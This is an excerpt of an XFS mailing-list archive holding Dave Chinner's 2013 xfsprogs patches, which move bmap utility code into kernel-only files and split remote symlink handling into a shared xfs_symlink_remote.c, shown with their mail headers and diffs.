fprintf(stderr, @@ -2389,6 +2402,7 @@ an AG size that is one stripe unit smaller, for example %llu.\n"), (long long)logblocks); usage(); } + if (laflag) { if (logagno >= agcount) { fprintf(stderr, @@ -2457,7 +2471,6 @@ an AG size that is one stripe unit smaller, for example %llu.\n"), sbp->sb_logstart = logstart; sbp->sb_rootino = sbp->sb_rbmino = sbp->sb_rsumino = NULLFSINO; sbp->sb_rextsize = rtextblocks; - sbp->sb_agblocks = (xfs_agblock_t)agsize; sbp->sb_agcount = (xfs_agnumber_t)agcount; sbp->sb_rbmblocks = nbmblocks; sbp->sb_logblocks = (xfs_extlen_t)logblocks; diff --git a/mkfs/xfs_mkfs.h b/mkfs/xfs_mkfs.h index d10e444..1393feb 100644 --- a/mkfs/xfs_mkfs.h +++ b/mkfs/xfs_mkfs.h @@ -54,8 +54,7 @@ #define XFS_MIN_REC_DIRSIZE 12 /* 4096 byte dirblocks (V2) */ #define XFS_DFL_DIR_VERSION 2 /* default directory version */ #define XFS_DFL_LOG_SIZE 1000 /* default log size, blocks */ -#define XFS_MIN_LOG_FACTOR 3 /* min log size factor */ -#define XFS_DFL_LOG_FACTOR 16 /* default log size, factor */ +#define XFS_DFL_LOG_FACTOR 5 /* default log size, factor */ /* with max trans reservation */ #define XFS_MAX_INODE_SIG_BITS 32 /* most significant bits in an * inode number that we'll @@ -82,6 +81,7 @@ extern void res_failed (int err); /* maxtrres.c */ extern int max_trans_res (int crcs_enabled, int dirversion, - int sectorlog, int blocklog, int inodelog, int dirblocklog); + int sectorlog, int blocklog, int inodelog, int dirblocklog, + int logversion, int log_sunit); #endif /* __XFS_MKFS_H__ */ -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:21:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 59ADB29E66 for ; Wed, 4 Sep 2013 17:21:45 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4A98F304039 for ; Wed, 4 Sep 2013 15:21:45 -0700 (PDT) X-ASG-Debug-ID: 1378333302-04cb6c153dd53a00001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id AjhfsI6l2e0TcXVX for ; Wed, 04 Sep 2013 15:21:42 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngIAKexJ1J5LJ62/2dsb2JhbABbgweuUZUhF3SCJAEBBScvMwgYMTkDGxmIAbo2lAQDoiSHN4MyKg Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:51:39 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLDA-0007du-4n for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLDA-0003th-4N for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 32/55] xfs: create xfs_bmap_util.[ch] Date: Thu, 5 Sep 2013 08:05:36 +1000 X-ASG-Orig-Subj: [PATCH 32/55] xfs: create xfs_bmap_util.[ch] Message-Id: <1378332359-14737-33-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378333302 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140347 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner There is a bunch of code in xfs_bmap.c that is kernel specific and not shared with userspace. to minimise the difference between the kernel and userspace code, shift this unshared code to xfs_bmap_util.c, and the declarations to xfs_bmap_util.h. The biggest issue here is xfs_bmap_finish() - userspce has it's own definition of this function, and so we need to move it out of xfs_bmap.[ch]. This means several other files need to include xfs_bmap_util.c as well. It also introduces and interesting dance for the stack switching code in xfs_bmapi_allocate(). The stack switching/workqueue code is actually moved to xfs_bmap_util.c, so that userspace can simply use a #define in a header file to connect the dots without needing to know about the stack switch code at all. Signed-off-by: Dave Chinner --- include/xfs_bmap.h | 51 ------------ libxfs/xfs.h | 34 ++++++++ libxfs/xfs_bmap.c | 222 +++-------------------------------------------------- 3 files changed, 43 insertions(+), 264 deletions(-) diff --git a/include/xfs_bmap.h b/include/xfs_bmap.h index ffa67b1..8b2fe97 100644 --- a/include/xfs_bmap.h +++ b/include/xfs_bmap.h @@ -108,38 +108,6 @@ static inline void xfs_bmap_init(xfs_bmap_free_t *flp, xfs_fsblock_t *fbp) } /* - * Argument structure for xfs_bmap_alloc. - */ -typedef struct xfs_bmalloca { - xfs_fsblock_t *firstblock; /* i/o first block allocated */ - struct xfs_bmap_free *flist; /* bmap freelist */ - struct xfs_trans *tp; /* transaction pointer */ - struct xfs_inode *ip; /* incore inode pointer */ - struct xfs_bmbt_irec prev; /* extent before the new one */ - struct xfs_bmbt_irec got; /* extent after, or delayed */ - - xfs_fileoff_t offset; /* offset in file filling in */ - xfs_extlen_t length; /* i/o length asked/allocated */ - xfs_fsblock_t blkno; /* starting block of new extent */ - - struct xfs_btree_cur *cur; /* btree cursor */ - xfs_extnum_t idx; /* current extent index */ - int nallocs;/* number of extents alloc'd */ - int logflags;/* flags for transaction logging */ - - xfs_extlen_t total; /* total blocks needed for xaction */ - xfs_extlen_t minlen; /* minimum allocation size (blocks) */ - xfs_extlen_t minleft; /* amount must be left after alloc */ - char eof; /* set if allocating past last extent */ - char wasdel; /* replacing a delayed allocation */ - char userdata;/* set if is user data */ - char aeof; /* allocated space at eof */ - char conv; /* overwriting unwritten extents */ - int flags; - int stack_switch; -} xfs_bmalloca_t; - -/* * Flags for xfs_bmap_add_extent*. */ #define BMAP_LEFT_CONTIG (1 << 0) @@ -202,23 +170,4 @@ int xfs_check_nostate_extents(struct xfs_ifork *ifp, xfs_extnum_t idx, xfs_extnum_t num); uint xfs_default_attroffset(struct xfs_inode *ip); -#ifdef __KERNEL__ -/* bmap to userspace formatter - copy to user & advance pointer */ -typedef int (*xfs_bmap_format_t)(void **, struct getbmapx *, int *); - -int xfs_bmap_finish(struct xfs_trans **tp, struct xfs_bmap_free *flist, - int *committed); -int xfs_getbmap(struct xfs_inode *ip, struct getbmapx *bmv, - xfs_bmap_format_t formatter, void *arg); -int xfs_bmap_eof(struct xfs_inode *ip, xfs_fileoff_t endoff, - int whichfork, int *eof); -int xfs_bmap_count_blocks(struct xfs_trans *tp, struct xfs_inode *ip, - int whichfork, int *count); -int xfs_bmap_punch_delalloc_range(struct xfs_inode *ip, - xfs_fileoff_t start_fsb, xfs_fileoff_t length); - -xfs_daddr_t xfs_fsb_to_db(struct xfs_inode *ip, xfs_fsblock_t fsb); - -#endif /* __KERNEL__ */ - #endif /* __XFS_BMAP_H__ */ diff --git a/libxfs/xfs.h b/libxfs/xfs.h index 0113b50..276fc25 100644 --- a/libxfs/xfs.h +++ b/libxfs/xfs.h @@ -51,6 +51,40 @@ typedef __uint32_t uint_t; typedef __uint32_t inst_t; /* an instruction */ +/* + * Argument structure for xfs_bmap_alloc. + */ +typedef struct xfs_bmalloca { + xfs_fsblock_t *firstblock; /* i/o first block allocated */ + struct xfs_bmap_free *flist; /* bmap freelist */ + struct xfs_trans *tp; /* transaction pointer */ + struct xfs_inode *ip; /* incore inode pointer */ + struct xfs_bmbt_irec prev; /* extent before the new one */ + struct xfs_bmbt_irec got; /* extent after, or delayed */ + + xfs_fileoff_t offset; /* offset in file filling in */ + xfs_extlen_t length; /* i/o length asked/allocated */ + xfs_fsblock_t blkno; /* starting block of new extent */ + + struct xfs_btree_cur *cur; /* btree cursor */ + xfs_extnum_t idx; /* current extent index */ + int nallocs;/* number of extents alloc'd */ + int logflags;/* flags for transaction logging */ + + xfs_extlen_t total; /* total blocks needed for xaction */ + xfs_extlen_t minlen; /* minimum allocation size (blocks) */ + xfs_extlen_t minleft; /* amount must be left after alloc */ + char eof; /* set if allocating past last extent */ + char wasdel; /* replacing a delayed allocation */ + char userdata;/* set if is user data */ + char aeof; /* allocated space at eof */ + char conv; /* overwriting unwritten extents */ + char stack_switch; + int flags; +} xfs_bmalloca_t; + +#define xfs_bmapi_allocate __xfs_bmapi_allocate + #ifndef EWRONGFS #define EWRONGFS EINVAL #endif diff --git a/libxfs/xfs_bmap.c b/libxfs/xfs_bmap.c index ce72b87..eeaea94 100644 --- a/libxfs/xfs_bmap.c +++ b/libxfs/xfs_bmap.c @@ -74,19 +74,6 @@ xfs_bmap_compute_maxlevels( mp->m_bm_maxlevels[whichfork] = level; } -/* - * Convert the given file system block to a disk block. We have to treat it - * differently based on whether the file is a real time file or not, because the - * bmap code does. - */ -xfs_daddr_t -xfs_fsb_to_db(struct xfs_inode *ip, xfs_fsblock_t fsb) -{ - return (XFS_IS_REALTIME_INODE(ip) ? \ - (xfs_daddr_t)XFS_FSB_TO_BB((ip)->i_mount, (fsb)) : \ - XFS_FSB_TO_DADDR((ip)->i_mount, (fsb))); -} - STATIC int /* error */ xfs_bmbt_lookup_eq( struct xfs_btree_cur *cur, @@ -229,173 +216,6 @@ xfs_bmap_forkoff_reset( } /* - * Extent tree block counting routines. - */ - -/* - * Count leaf blocks given a range of extent records. - */ -STATIC void -xfs_bmap_count_leaves( - xfs_ifork_t *ifp, - xfs_extnum_t idx, - int numrecs, - int *count) -{ - int b; - - for (b = 0; b < numrecs; b++) { - xfs_bmbt_rec_host_t *frp = xfs_iext_get_ext(ifp, idx + b); - *count += xfs_bmbt_get_blockcount(frp); - } -} - -/* - * Count leaf blocks given a range of extent records originally - * in btree format. - */ -STATIC void -xfs_bmap_disk_count_leaves( - struct xfs_mount *mp, - struct xfs_btree_block *block, - int numrecs, - int *count) -{ - int b; - xfs_bmbt_rec_t *frp; - - for (b = 1; b <= numrecs; b++) { - frp = XFS_BMBT_REC_ADDR(mp, block, b); - *count += xfs_bmbt_disk_get_blockcount(frp); - } -} - -/* - * Recursively walks each level of a btree - * to count total fsblocks is use. - */ -STATIC int /* error */ -xfs_bmap_count_tree( - xfs_mount_t *mp, /* file system mount point */ - xfs_trans_t *tp, /* transaction pointer */ - xfs_ifork_t *ifp, /* inode fork pointer */ - xfs_fsblock_t blockno, /* file system block number */ - int levelin, /* level in btree */ - int *count) /* Count of blocks */ -{ - int error; - xfs_buf_t *bp, *nbp; - int level = levelin; - __be64 *pp; - xfs_fsblock_t bno = blockno; - xfs_fsblock_t nextbno; - struct xfs_btree_block *block, *nextblock; - int numrecs; - - error = xfs_btree_read_bufl(mp, tp, bno, 0, &bp, XFS_BMAP_BTREE_REF, - &xfs_bmbt_buf_ops); - if (error) - return error; - *count += 1; - block = XFS_BUF_TO_BLOCK(bp); - - if (--level) { - /* Not at node above leaves, count this level of nodes */ - nextbno = be64_to_cpu(block->bb_u.l.bb_rightsib); - while (nextbno != NULLFSBLOCK) { - error = xfs_btree_read_bufl(mp, tp, nextbno, 0, &nbp, - XFS_BMAP_BTREE_REF, - &xfs_bmbt_buf_ops); - if (error) - return error; - *count += 1; - nextblock = XFS_BUF_TO_BLOCK(nbp); - nextbno = be64_to_cpu(nextblock->bb_u.l.bb_rightsib); - xfs_trans_brelse(tp, nbp); - } - - /* Dive to the next level */ - pp = XFS_BMBT_PTR_ADDR(mp, block, 1, mp->m_bmap_dmxr[1]); - bno = be64_to_cpu(*pp); - if (unlikely((error = - xfs_bmap_count_tree(mp, tp, ifp, bno, level, count)) < 0)) { - xfs_trans_brelse(tp, bp); - XFS_ERROR_REPORT("xfs_bmap_count_tree(1)", - XFS_ERRLEVEL_LOW, mp); - return XFS_ERROR(EFSCORRUPTED); - } - xfs_trans_brelse(tp, bp); - } else { - /* count all level 1 nodes and their leaves */ - for (;;) { - nextbno = be64_to_cpu(block->bb_u.l.bb_rightsib); - numrecs = be16_to_cpu(block->bb_numrecs); - xfs_bmap_disk_count_leaves(mp, block, numrecs, count); - xfs_trans_brelse(tp, bp); - if (nextbno == NULLFSBLOCK) - break; - bno = nextbno; - error = xfs_btree_read_bufl(mp, tp, bno, 0, &bp, - XFS_BMAP_BTREE_REF, - &xfs_bmbt_buf_ops); - if (error) - return error; - *count += 1; - block = XFS_BUF_TO_BLOCK(bp); - } - } - return 0; -} - -/* - * Count fsblocks of the given fork. - */ -int /* error */ -xfs_bmap_count_blocks( - xfs_trans_t *tp, /* transaction pointer */ - xfs_inode_t *ip, /* incore inode */ - int whichfork, /* data or attr fork */ - int *count) /* out: count of blocks */ -{ - struct xfs_btree_block *block; /* current btree block */ - xfs_fsblock_t bno; /* block # of "block" */ - xfs_ifork_t *ifp; /* fork structure */ - int level; /* btree level, for checking */ - xfs_mount_t *mp; /* file system mount structure */ - __be64 *pp; /* pointer to block address */ - - bno = NULLFSBLOCK; - mp = ip->i_mount; - ifp = XFS_IFORK_PTR(ip, whichfork); - if ( XFS_IFORK_FORMAT(ip, whichfork) == XFS_DINODE_FMT_EXTENTS ) { - xfs_bmap_count_leaves(ifp, 0, - ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t), - count); - return 0; - } - - /* - * Root level must use BMAP_BROOT_PTR_ADDR macro to get ptr out. - */ - block = ifp->if_broot; - level = be16_to_cpu(block->bb_level); - ASSERT(level > 0); - pp = XFS_BMAP_BROOT_PTR_ADDR(mp, block, 1, ifp->if_broot_bytes); - bno = be64_to_cpu(*pp); - ASSERT(bno != NULLDFSBNO); - ASSERT(XFS_FSB_TO_AGNO(mp, bno) < mp->m_sb.sb_agcount); - ASSERT(XFS_FSB_TO_AGBNO(mp, bno) < mp->m_sb.sb_agblocks); - - if (unlikely(xfs_bmap_count_tree(mp, tp, ifp, bno, level, count) < 0)) { - XFS_ERROR_REPORT("xfs_bmap_count_blocks(2)", XFS_ERRLEVEL_LOW, - mp); - return XFS_ERROR(EFSCORRUPTED); - } - - return 0; -} - -/* * Debug/sanity checking code */ @@ -803,7 +623,6 @@ xfs_bmap_del_free( kmem_zone_free(xfs_bmap_free_item_zone, free); } - /* * Free up any items left in the list. */ @@ -1028,8 +847,8 @@ xfs_bmap_extents_to_btree( * Do all this logging at the end so that * the root is at the right level. */ - xfs_btree_log_recs(cur, abp, 1, be16_to_cpu(ablock->bb_numrecs)); xfs_btree_log_block(cur, abp, XFS_BB_ALL_BITS); + xfs_btree_log_recs(cur, abp, 1, be16_to_cpu(ablock->bb_numrecs)); ASSERT(*curp == NULL); *curp = cur; *logflagsp = XFS_ILOG_CORE | xfs_ilog_fbroot(whichfork); @@ -1744,7 +1563,7 @@ xfs_bmap_last_before( return 0; } -STATIC int +int xfs_bmap_last_extent( struct xfs_trans *tp, struct xfs_inode *ip, @@ -1808,29 +1627,6 @@ xfs_bmap_isaeof( } /* - * Check if the endoff is outside the last extent. If so the caller will grow - * the allocation to a stripe unit boundary. All offsets are considered outside - * the end of file for an empty fork, so 1 is returned in *eof in that case. - */ -int -xfs_bmap_eof( - struct xfs_inode *ip, - xfs_fileoff_t endoff, - int whichfork, - int *eof) -{ - struct xfs_bmbt_irec rec; - int error; - - error = xfs_bmap_last_extent(NULL, ip, whichfork, &rec, eof); - if (error || *eof) - return error; - - *eof = endoff >= rec.br_startoff + rec.br_blockcount; - return 0; -} - -/* * Returns the file-relative block number of the first block past eof in * the file. This is not based on i_size, it is based on the extent records. * Returns 0 for local files, as they do not have extent records. @@ -3369,7 +3165,7 @@ done: /* * Adjust the size of the new extent based on di_extsize and rt extsize. */ -STATIC int +int xfs_bmap_extsize_align( xfs_mount_t *mp, xfs_bmbt_irec_t *gotp, /* next extent pointer */ @@ -3531,9 +3327,9 @@ xfs_bmap_extsize_align( #define XFS_ALLOC_GAP_UNITS 4 -STATIC void +void xfs_bmap_adjacent( - xfs_bmalloca_t *ap) /* bmap alloc argument struct */ + struct xfs_bmalloca *ap) /* bmap alloc argument struct */ { xfs_fsblock_t adjust; /* adjustment to block numbers */ xfs_agnumber_t fb_agno; /* ag number of ap->firstblock */ @@ -3796,7 +3592,7 @@ xfs_bmap_btalloc_nullfb( STATIC int xfs_bmap_btalloc( - xfs_bmalloca_t *ap) /* bmap alloc argument struct */ + struct xfs_bmalloca *ap) /* bmap alloc argument struct */ { xfs_mount_t *mp; /* mount point structure */ xfs_alloctype_t atype = 0; /* type for allocation routines */ @@ -4028,7 +3824,7 @@ xfs_bmap_btalloc( */ STATIC int xfs_bmap_alloc( - xfs_bmalloca_t *ap) /* bmap alloc argument struct */ + struct xfs_bmalloca *ap) /* bmap alloc argument struct */ { if (XFS_IS_REALTIME_INODE(ap->ip) && ap->userdata) return xfs_bmap_rtalloc(ap); @@ -4416,8 +4212,8 @@ xfs_bmapi_delay( } -STATIC int -xfs_bmapi_allocate( +int +__xfs_bmapi_allocate( struct xfs_bmalloca *bma) { struct xfs_mount *mp = bma->ip->i_mount; -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:21:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id CB3AB29E37 for ; Wed, 4 Sep 2013 17:21:45 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id BBAE1304039 for ; Wed, 4 Sep 2013 15:21:45 -0700 (PDT) X-ASG-Debug-ID: 1378333300-04cbb02c3ad4b710001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id 0s1FOfLqHta7wQvK for ; Wed, 04 Sep 2013 15:21:42 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngIAKexJ1J5LJ62/2dsb2JhbABbgweuUZUhF3SCJAEBBScvMwgYGBk5AxsZiAG6No4MgWWEEwOpW4MyKg Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:51:38 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLDA-0007dp-3U for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLDA-0003tX-2p for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 30/55] xfs: split out the remote symlink handling Date: Thu, 5 Sep 2013 08:05:34 +1000 X-ASG-Orig-Subj: [PATCH 30/55] xfs: split out the remote symlink handling Message-Id: <1378332359-14737-31-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378333300 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140347 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The remote symlink format definition and manipulation needs to be shared with userspace, but the in-kernel interfaces do not. Split the remote symlink format handling out into xfs_symlink_remote.[ch] fo it can easily be shared with userspace. Signed-off-by: Dave Chinner --- include/Makefile | 1 - include/libxfs.h | 1 - include/xfs_format.h | 42 ++++++++++ include/xfs_symlink.h | 47 ----------- libxfs/Makefile | 2 +- libxfs/xfs_symlink.c | 176 ----------------------------------------- libxfs/xfs_symlink_remote.c | 185 ++++++++++++++++++++++++++++++++++++++++++++ 7 files changed, 228 insertions(+), 226 deletions(-) delete mode 100644 include/xfs_symlink.h delete mode 100644 libxfs/xfs_symlink.c create mode 100644 libxfs/xfs_symlink_remote.c diff --git a/include/Makefile b/include/Makefile index c86d2ce..6a4e521 100644 --- a/include/Makefile +++ b/include/Makefile @@ -39,7 +39,6 @@ QAHFILES = libxfs.h libxlog.h \ xfs_mount.h \ xfs_quota_defs.h \ xfs_sb.h \ - xfs_symlink.h \ xfs_trace.h \ xfs_trans_resv.h \ xfs_trans_space.h \ diff --git a/include/libxfs.h b/include/libxfs.h index 8ab832d..51a2442 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -61,7 +61,6 @@ #include #include #include -#include #ifndef ARRAY_SIZE diff --git a/include/xfs_format.h b/include/xfs_format.h index 6205374..35c08ff 100644 --- a/include/xfs_format.h +++ b/include/xfs_format.h @@ -27,6 +27,12 @@ * xfs_log_format.h. Everything else goes here. */ +struct xfs_mount; +struct xfs_trans; +struct xfs_inode; +struct xfs_buf; +struct xfs_ifork; + /* * RealTime Device format definitions */ @@ -123,5 +129,41 @@ typedef struct xfs_dqblk { #define XFS_DQUOT_CRC_OFF offsetof(struct xfs_dqblk, dd_crc) +/* + * Remote symlink format and access functions. + */ +#define XFS_SYMLINK_MAGIC 0x58534c4d /* XSLM */ + +struct xfs_dsymlink_hdr { + __be32 sl_magic; + __be32 sl_offset; + __be32 sl_bytes; + __be32 sl_crc; + uuid_t sl_uuid; + __be64 sl_owner; + __be64 sl_blkno; + __be64 sl_lsn; +}; + +/* + * The maximum pathlen is 1024 bytes. Since the minimum file system + * blocksize is 512 bytes, we can get a max of 3 extents back from + * bmapi when crc headers are taken into account. + */ +#define XFS_SYMLINK_MAPS 3 + +#define XFS_SYMLINK_BUF_SPACE(mp, bufsize) \ + ((bufsize) - (xfs_sb_version_hascrc(&(mp)->m_sb) ? \ + sizeof(struct xfs_dsymlink_hdr) : 0)) + +int xfs_symlink_blocks(struct xfs_mount *mp, int pathlen); +int xfs_symlink_hdr_set(struct xfs_mount *mp, xfs_ino_t ino, uint32_t offset, + uint32_t size, struct xfs_buf *bp); +bool xfs_symlink_hdr_ok(struct xfs_mount *mp, xfs_ino_t ino, uint32_t offset, + uint32_t size, struct xfs_buf *bp); +void xfs_symlink_local_to_remote(struct xfs_trans *tp, struct xfs_buf *bp, + struct xfs_inode *ip, struct xfs_ifork *ifp); + +extern const struct xfs_buf_ops xfs_symlink_buf_ops; #endif /* __XFS_FORMAT_H__ */ diff --git a/include/xfs_symlink.h b/include/xfs_symlink.h deleted file mode 100644 index e85dfd1..0000000 --- a/include/xfs_symlink.h +++ /dev/null @@ -1,47 +0,0 @@ -/* - * Copyright (c) 2012 Red Hat, Inc. All rights reserved. - */ -#ifndef __XFS_SYMLINK_H -#define __XFS_SYMLINK_H 1 - -#define XFS_SYMLINK_MAGIC 0x58534c4d /* XSLM */ - -struct xfs_dsymlink_hdr { - __be32 sl_magic; - __be32 sl_offset; - __be32 sl_bytes; - __be32 sl_crc; - uuid_t sl_uuid; - __be64 sl_owner; - __be64 sl_blkno; - __be64 sl_lsn; -}; - -/* - * The maximum pathlen is 1024 bytes. Since the minimum file system - * blocksize is 512 bytes, we can get a max of 3 extents back from - * bmapi when crc headers are taken into account. - */ -#define XFS_SYMLINK_MAPS 3 - -#define XFS_SYMLINK_BUF_SPACE(mp, bufsize) \ - ((bufsize) - (xfs_sb_version_hascrc(&(mp)->m_sb) ? \ - sizeof(struct xfs_dsymlink_hdr) : 0)) - -int xfs_symlink_blocks(struct xfs_mount *mp, int pathlen); -bool xfs_symlink_hdr_ok(struct xfs_mount *mp, xfs_ino_t ino, uint32_t offset, - uint32_t size, struct xfs_buf *bp); -void xfs_symlink_local_to_remote(struct xfs_trans *tp, struct xfs_buf *bp, - struct xfs_inode *ip, struct xfs_ifork *ifp); - -extern const struct xfs_buf_ops xfs_symlink_buf_ops; - -#ifdef __KERNEL__ - -int xfs_symlink(struct xfs_inode *dp, struct xfs_name *link_name, - const char *target_path, umode_t mode, struct xfs_inode **ipp); -int xfs_readlink(struct xfs_inode *ip, char *link); -int xfs_inactive_symlink_rmt(struct xfs_inode *ip, struct xfs_trans **tpp); - -#endif /* __KERNEL__ */ -#endif /* __XFS_SYMLINK_H */ diff --git a/libxfs/Makefile b/libxfs/Makefile index b7df144..6ba38f9 100644 --- a/libxfs/Makefile +++ b/libxfs/Makefile @@ -23,7 +23,7 @@ CFILES = cache.c init.c kmem.c logitem.c radix-tree.c rdwr.c trans.c util.c \ xfs_dir2_node.c xfs_dir2_data.c xfs_dir2_sf.c xfs_bmap.c \ xfs_mount.c xfs_rtalloc.c xfs_attr.c xfs_attr_remote.c \ crc32.c \ - xfs_symlink.c \ + xfs_symlink_remote.c \ xfs_trans_resv.c CFILES += $(PKG_PLATFORM).c diff --git a/libxfs/xfs_symlink.c b/libxfs/xfs_symlink.c deleted file mode 100644 index f2e69f9..0000000 --- a/libxfs/xfs_symlink.c +++ /dev/null @@ -1,176 +0,0 @@ -/* - * Copyright 2013 Red Hat, Inc. - * All rights reserved. - */ - -#include "xfs.h" - -/* - * Each contiguous block has a header, so it is not just a simple pathlen - * to FSB conversion. - */ -int -xfs_symlink_blocks( - struct xfs_mount *mp, - int pathlen) -{ - int buflen = XFS_SYMLINK_BUF_SPACE(mp, mp->m_sb.sb_blocksize); - - return (pathlen + buflen - 1) / buflen; -} - -/* - * This is used by mkfs/proto.c to create symlinks. - */ -int -xfs_symlink_hdr_set( - struct xfs_mount *mp, - xfs_ino_t ino, - uint32_t offset, - uint32_t size, - struct xfs_buf *bp) -{ - struct xfs_dsymlink_hdr *dsl = bp->b_addr; - - if (!xfs_sb_version_hascrc(&mp->m_sb)) - return 0; - - dsl->sl_magic = cpu_to_be32(XFS_SYMLINK_MAGIC); - dsl->sl_offset = cpu_to_be32(offset); - dsl->sl_bytes = cpu_to_be32(size); - uuid_copy(&dsl->sl_uuid, &mp->m_sb.sb_uuid); - dsl->sl_owner = cpu_to_be64(ino); - dsl->sl_blkno = cpu_to_be64(bp->b_bn); - bp->b_ops = &xfs_symlink_buf_ops; - - return sizeof(struct xfs_dsymlink_hdr); -} - -/* - * Checking of the symlink header is split into two parts. the verifier does - * CRC, location and bounds checking, the unpacking function checks the path - * parameters and owner. - */ -bool -xfs_symlink_hdr_ok( - struct xfs_mount *mp, - xfs_ino_t ino, - uint32_t offset, - uint32_t size, - struct xfs_buf *bp) -{ - struct xfs_dsymlink_hdr *dsl = bp->b_addr; - - if (offset != be32_to_cpu(dsl->sl_offset)) - return false; - if (size != be32_to_cpu(dsl->sl_bytes)) - return false; - if (ino != be64_to_cpu(dsl->sl_owner)) - return false; - - /* ok */ - return true; - -} - -static bool -xfs_symlink_verify( - struct xfs_buf *bp) -{ - struct xfs_mount *mp = bp->b_target->bt_mount; - struct xfs_dsymlink_hdr *dsl = bp->b_addr; - - if (!xfs_sb_version_hascrc(&mp->m_sb)) - return false; - if (dsl->sl_magic != cpu_to_be32(XFS_SYMLINK_MAGIC)) - return false; - if (!uuid_equal(&dsl->sl_uuid, &mp->m_sb.sb_uuid)) - return false; - if (bp->b_bn != be64_to_cpu(dsl->sl_blkno)) - return false; - if (be32_to_cpu(dsl->sl_offset) + - be32_to_cpu(dsl->sl_bytes) >= MAXPATHLEN) - return false; - if (dsl->sl_owner == 0) - return false; - - return true; -} - -static void -xfs_symlink_read_verify( - struct xfs_buf *bp) -{ - struct xfs_mount *mp = bp->b_target->bt_mount; - - /* no verification of non-crc buffers */ - if (!xfs_sb_version_hascrc(&mp->m_sb)) - return; - - if (!xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - offsetof(struct xfs_dsymlink_hdr, sl_crc)) || - !xfs_symlink_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); - xfs_buf_ioerror(bp, EFSCORRUPTED); - } -} - -static void -xfs_symlink_write_verify( - struct xfs_buf *bp) -{ - struct xfs_mount *mp = bp->b_target->bt_mount; - struct xfs_buf_log_item *bip = bp->b_fspriv; - - /* no verification of non-crc buffers */ - if (!xfs_sb_version_hascrc(&mp->m_sb)) - return; - - if 